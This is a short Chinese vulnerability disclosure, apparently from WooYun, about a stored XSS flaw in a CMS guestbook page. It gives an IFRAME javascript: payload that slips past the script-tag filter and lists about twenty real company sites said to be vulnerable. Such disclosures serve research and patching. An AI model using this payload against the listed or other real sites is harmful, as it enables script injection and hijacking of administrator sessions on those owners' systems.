WooYun.org

某在用企业网站管理系统存储型XSS可打管理员（影响上万企业站点）。
源码地址：http://down.chinaz.com/soft/29477.htm
上万人在用

留言处存在存储型XSS，漏洞地址：/liuyan.asp
程序虽然过滤了script标签，但是没过滤IFRAME标签。
利用代码如下：

<IFRAME src=javascript:alert('XSS')></IFRAME>

实例搜索：

http://www.wnddl.com//liuyan.asp
http://www.minglusc.com//liuyan.asp
http://www.powin.cn//liuyan.asp
http://www.dfgcc.cn//liuyan.asp
http://www.94gas.com//liuyan.asp
http://www.fdarz.cn//liuyan.asp
http://www.rcltax.com//liuyan.asp
http://heqingganjiu.net//liuyan.asp
http://www.glgsfood.com//liuyan.asp
http://www.wnddl.com//liuyan.asp
http://www.gongchengboli.com//liuyan.asp
http://www.aysmzd.com//liuyan.asp
http://juni-tech.com//liuyan.asp
http://www.sanzhongfanghu.com//liuyan.asp
http://www.dhdianlu.com//liuyan.asp
http://www.anoled.com//liuyan.asp
http://fjweilian.com//liuyan.asp
http://www.hnjianling.com.cn//liuyan.asp
http://www.nm400.net.cn//liuyan.asp
http://www.shyglobal.com//liuyan.asp